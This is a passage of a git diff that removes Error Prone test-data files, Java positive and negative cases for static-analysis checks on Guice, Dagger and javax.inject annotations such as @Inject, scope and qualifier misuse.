CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnAbstractMethodPositiveCases { - - /** Abstract class has an injectable(javax.inject.Inject) abstract method. */ - public abstract class TestClass1 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod(); - } - - /** - * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated concrete - * method. - */ - public abstract class TestClass2 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod(); - - public void foo() {} - } - - /** - * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated abstract - * method. - */ - public abstract class TestClass3 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod1(); - - abstract void abstractMethod2(); - } - - /** Interface with Inject method, should also fail. */ - public interface TestInterface { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - void abstractMethod(); - } - - /** Concrete Implementer of interface. */ - public class Implementing implements TestInterface { - // No error here - public void abstractMethod() {} - } - - /** Abstract implementer of interface. */ - public abstract class AbstractImplementing implements TestInterface { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - public abstract void abstractMethod(); - } - - interface HasDefault { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - default void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java deleted file mode 100644 index bdbfe7ccb6a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnFinalFieldNegativeCases { - - /** Class has no final fields or @Inject annotations. */ - public class TestClass1 {} - - /** Class has a final field that is not injectable. */ - public class TestClass2 { - public final int n = 0; - } - - /** Class has an injectable(javax.inject.Inject) field that is not final. */ - public class TestClass3 { - @Inject public int n; - } - - /** Class has an injectable(javax.inject.Inject), final method. */ - public class TestClass4 { - @Inject - final void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java deleted file mode 100644 index e9134855a7a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnFinalFieldPositiveCases { - - /** - * Class has a final injectable(javax.inject.Inject) field. - */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Inject - public final int n = 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java deleted file mode 100644 index 2b2bfa25012..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; -import static java.lang.annotation.RetentionPolicy.SOURCE; - -import com.google.inject.BindingAnnotation; -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Qualifier; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MissingRuntimeRetentionNegativeCases { - /** A scoping (@Scope) annotation with runtime retention */ - @Scope - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** A scoping (@ScopingAnnotation) annotation with runtime retention. */ - @ScopeAnnotation - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** A qualifier (@Qualifier) annotation with runtime retention. */ - @Qualifier - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation3 {} - - /** A qualifier (@BindingAnnotation) annotation with runtime retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation4 {} - - /** A non-qualifier, non-scoping annotation without runtime retention. */ - @Retention(SOURCE) - public @interface TestAnnotation5 {} - - /** A dagger map key annotation. */ - @dagger.MapKey - @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** A Guice map key annotation. */ - @com.google.inject.multibindings.MapKey - @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java deleted file mode 100644 index c3301797b1a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.SOURCE; - -import com.google.inject.BindingAnnotation; -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Qualifier; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MissingRuntimeRetentionPositiveCases { - /** A scoping (@Scope) annotation with SOURCE retention */ - @Scope - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation1 {} - - /** A scoping (@ScopingAnnotation) annotation with SOURCE retention. */ - @ScopeAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation2 {} - - /** A qualifier (@Qualifier) annotation with SOURCE retention. */ - @Qualifier - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation3 {} - - /** A qualifier (@BindingAnnotation) annotation with SOURCE retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation4 {} - - /** A qualifier annotation with default retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation5 {} - - /** A dagger map key annotation with default retention. */ - @dagger.MapKey - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** A Guice map key annotation with default retention. */ - @com.google.inject.multibindings.MapKey - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java deleted file mode 100644 index 79864785fa5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Inject; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneInjectableConstructorNegativeCases { - - /** Class has a single non-injectable constructor. */ - public class TestClass1 { - public TestClass1() {} - } - - /** Class has a single injectable constructor. */ - public class TestClass2 { - @Inject - public TestClass2() {} - } - - /** Class has two constructors, one of which is injectable. */ - public class TestClass3 { - @Inject - public TestClass3() {} - - public TestClass3(int n) {} - } - - /** Class has two constructors, one of which is injectable. Class also has an injectable field. */ - public class TestClass4 { - - @Inject String x; - - @Inject - public TestClass4() {} - - public TestClass4(int n) {} - } - - /** Class has 2 constructors, both are injectable. Error is suppressed. */ - @SuppressWarnings("MoreThanOneInjectableConstructor") - public class TestClass5 { - @Inject - public TestClass5() {} - - @Inject - public TestClass5(int n) {} - } - - /** Suppressed class */ - @SuppressWarnings("inject-constructors") - public class TestClass6 { - @Inject - public TestClass6() {} - - @Inject - public TestClass6(int n) {} - } - - /** Suppressed class */ - @SuppressWarnings("InjectMultipleAtInjectConstructors") - public class TestClass7 { - @Inject - public TestClass7() {} - - @Inject - public TestClass7(int n) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java deleted file mode 100644 index c8fe6ad01ec..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Inject; -import java.beans.ConstructorProperties; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneInjectableConstructorPositiveCases { - - /** Class has 2 constructors, both are injectable */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass1 { - @Inject - public TestClass1() {} - - @Inject - public TestClass1(int n) {} - } - - /** Class has 3 constructors, two of which are injectable. */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass2 { - @Inject - public TestClass2() {} - - public TestClass2(int n) {} - - @Inject - public TestClass2(String s) {} - } - - /** - * testing that the error appears on the @Inject annotation even in the presence of other - * annotations - */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass3 { - @Inject - public TestClass3() {} - - @Inject - @ConstructorProperties({"m", "n"}) - public TestClass3(int m, int n) {} - } - - /** Fails on 3 constructors w/ @Inject */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass4 { - @Inject - public TestClass4() {} - - @Inject - public TestClass4(int m, int n) {} - - @Inject - public TestClass4(int m, int n, boolean x) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java deleted file mode 100644 index dc2a7c4861d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.Retention; -import javax.inject.Qualifier; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MoreThanOneQualifierNegativeCases { - /** A class in with no annotations on any of its members. */ - public class TestClass1 { - private int n; - - public TestClass1() {} - - public void setN(int n) {} - } - - /** - * A class in which a single javax.inject.Qualifier annotation is on the class, on a constructor, - * on a field, on a method, and on a method parameter. - */ - @Foo - public class TestClass2 { - @Foo private int n; - - @Foo - public TestClass2() {} - - @Foo - public void setN(@Foo int n) {} - } - - /** - * A class in which a single com.google.inject.BindingAnnotation annotation is on the class, on a - * constructor, on a field, on a method, and on a method parameter. - */ - @Bar - public class TestClass3 { - @Bar private int n; - - @Bar - public TestClass3() {} - - @Bar - public void setN(@Bar int n) {} - } - - @Qualifier - @Retention(RUNTIME) - public @interface Foo {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java deleted file mode 100644 index e6524c92f39..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.Retention; -import javax.inject.Qualifier; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MoreThanOneQualifierPositiveCases { - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * two com.google.inject.BindingAnnotation annotations. - */ - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - private int n; - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public TestClass1() {} - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public void setN( - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - int n) {} - } - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * two javax.inject.Qualifier annotations. - */ - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public class TestClass2 { - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - private int n; - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public TestClass2() {} - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public void setN( - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - int n) {} - } - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * one javax.inject.Qualifier annotation and one com.google.inject.BindingAnnotation annotation. - */ - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public class TestClass3 { - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - private int n; - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public TestClass3() {} - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public void setN( - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - int n) {} - } - - @Qualifier - @Retention(RUNTIME) - public @interface Foo1 {} - - @Qualifier - @Retention(RUNTIME) - public @interface Foo2 {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar1 {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar2 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java deleted file mode 100644 index e6368a37dae..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import com.google.inject.Singleton; -import com.google.inject.servlet.SessionScoped; -import dagger.Component; -import dagger.Subcomponent; -import dagger.producers.ProductionComponent; -import dagger.producers.ProductionSubcomponent; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneScopeAnnotationOnClassNegativeCases { - - /** Class has no annotation. */ - public class TestClass1 {} - /** Class has a single non scoping annotation. */ - @SuppressWarnings("foo") - public class TestClass2 {} - - /** Class hasa single scoping annotation. */ - @Singleton - public class TestClass3 {} - - /** Class has two annotations, one of which is a scoping annotation. */ - @Singleton - @SuppressWarnings("foo") - public class TestClass4 {} - - /** - * Class has two annotations, one of which is a scoping annotation. Class also has a method with a - * scoping annotation. - */ - @SuppressWarnings("foo") - public class TestClass5 { - @Singleton - @Provides - public void foo() {} - } - - /** Class has two scoped annotations, but is a Dagger component */ - @Singleton - @SessionScoped - @Component - public class DaggerComponent {} - - /** Class has two scoped annotations, but is a Dagger subcomponent */ - @Singleton - @SessionScoped - @Subcomponent - public class DaggerSubcomponent {} - - /** Class has two scoped annotations, but is a Dagger component */ - @Singleton - @SessionScoped - @ProductionComponent - public class DaggerProductionComponent {} - - /** Class has two scoped annotations, but is a Dagger subcomponent */ - @Singleton - @SessionScoped - @ProductionSubcomponent - public class DaggerProductionSubcomponent {} - - /** Suppression through secondary name */ - @SuppressWarnings("MoreThanOneScopeAnnotationOnClass") - public class TestClass6 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java deleted file mode 100644 index 3be1e172487..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; -import com.google.inject.servlet.SessionScoped; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneScopeAnnotationOnClassPositiveCases { - - /** Class has two scope annotations */ - @Singleton - @SessionScoped - // BUG: Diagnostic contains: - class TestClass1 {} - - /** Class has three annotations, two of which are scope annotations. */ - @Singleton - @SuppressWarnings("foo") - @SessionScoped - // BUG: Diagnostic contains: - class TestClass2 {} - - @Scope - @interface CustomScope {} - - @Singleton - @CustomScope - @SessionScoped - // BUG: Diagnostic contains: - class TestClass3 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java deleted file mode 100644 index ad1e294f689..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverlappingQualifierAndScopeAnnotationNegativeCases { - - @javax.inject.Scope - @interface MyJavaxScope {} - - @com.google.inject.ScopeAnnotation - @interface MyGuiceScope {} - - @javax.inject.Qualifier - @interface MyJavaxQualifier {} - - @com.google.inject.BindingAnnotation - @interface MyGuiceBindingAnnotation {} - - // suppression tests - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @javax.inject.Scope - @javax.inject.Qualifier - @interface JavaxScopeAndJavaxQualifier {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @com.google.inject.ScopeAnnotation - @javax.inject.Qualifier - @interface GuiceScopeAndJavaxQualifier {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @com.google.inject.ScopeAnnotation - @com.google.inject.BindingAnnotation - @interface GuiceScopeAndGuiceBindingAnnotation {} - - @SuppressWarnings("OverlappingQualifierAndScopeAnnotation") - @javax.inject.Scope - @com.google.inject.BindingAnnotation - @interface JavaxScopeAndGuiceBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java deleted file mode 100644 index cf8d31178d6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationPositiveCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverlappingQualifierAndScopeAnnotationPositiveCases { - - @javax.inject.Scope - @javax.inject.Qualifier - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface JavaxScopeAndJavaxQualifier {} - - @com.google.inject.ScopeAnnotation - @javax.inject.Qualifier - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface GuiceScopeAndJavaxQualifier {} - - @com.google.inject.ScopeAnnotation - @com.google.inject.BindingAnnotation - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface GuiceScopeAndGuiceBindingAnnotation {} - - @javax.inject.Scope - @com.google.inject.BindingAnnotation - // BUG: Diagnostic contains: OverlappingQualifierAndScopeAnnotation - @interface JavaxScopeAndGuiceBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java deleted file mode 100644 index 1a78d18b144..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUseNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Tests for {@code QualifierWithTypeUse} */ -public class QualifierWithTypeUseNegativeCases { - - @Qualifier - @Target({ElementType.CONSTRUCTOR}) - @interface Qualifier1 {} - - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface NotAQualifier {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java deleted file mode 100644 index 01bf7c71fca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/QualifierWithTypeUsePositiveCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.ElementType; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Tests for {@code QualifierWithTypeUse} */ -public class QualifierWithTypeUsePositiveCases { - - @Qualifier - // BUG: Diagnostic contains: @Target({CONSTRUCTOR}) - @Target({ElementType.TYPE_USE, ElementType.CONSTRUCTOR}) - @interface Qualifier1 {} - - @Qualifier - // BUG: Diagnostic contains: remove - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface Qualifier2 {} - - @BindingAnnotation - // BUG: Diagnostic contains: @Target({FIELD}) - @Target({ElementType.FIELD, ElementType.TYPE_USE}) - @interface BindingAnnotation1 {} - - @BindingAnnotation - // BUG: Diagnostic contains: remove - @Target({ElementType.TYPE_USE, ElementType.TYPE_PARAMETER}) - @interface BindingAnnotation2 {} - - @BindingAnnotation - // BUG: Diagnostic contains: remove - 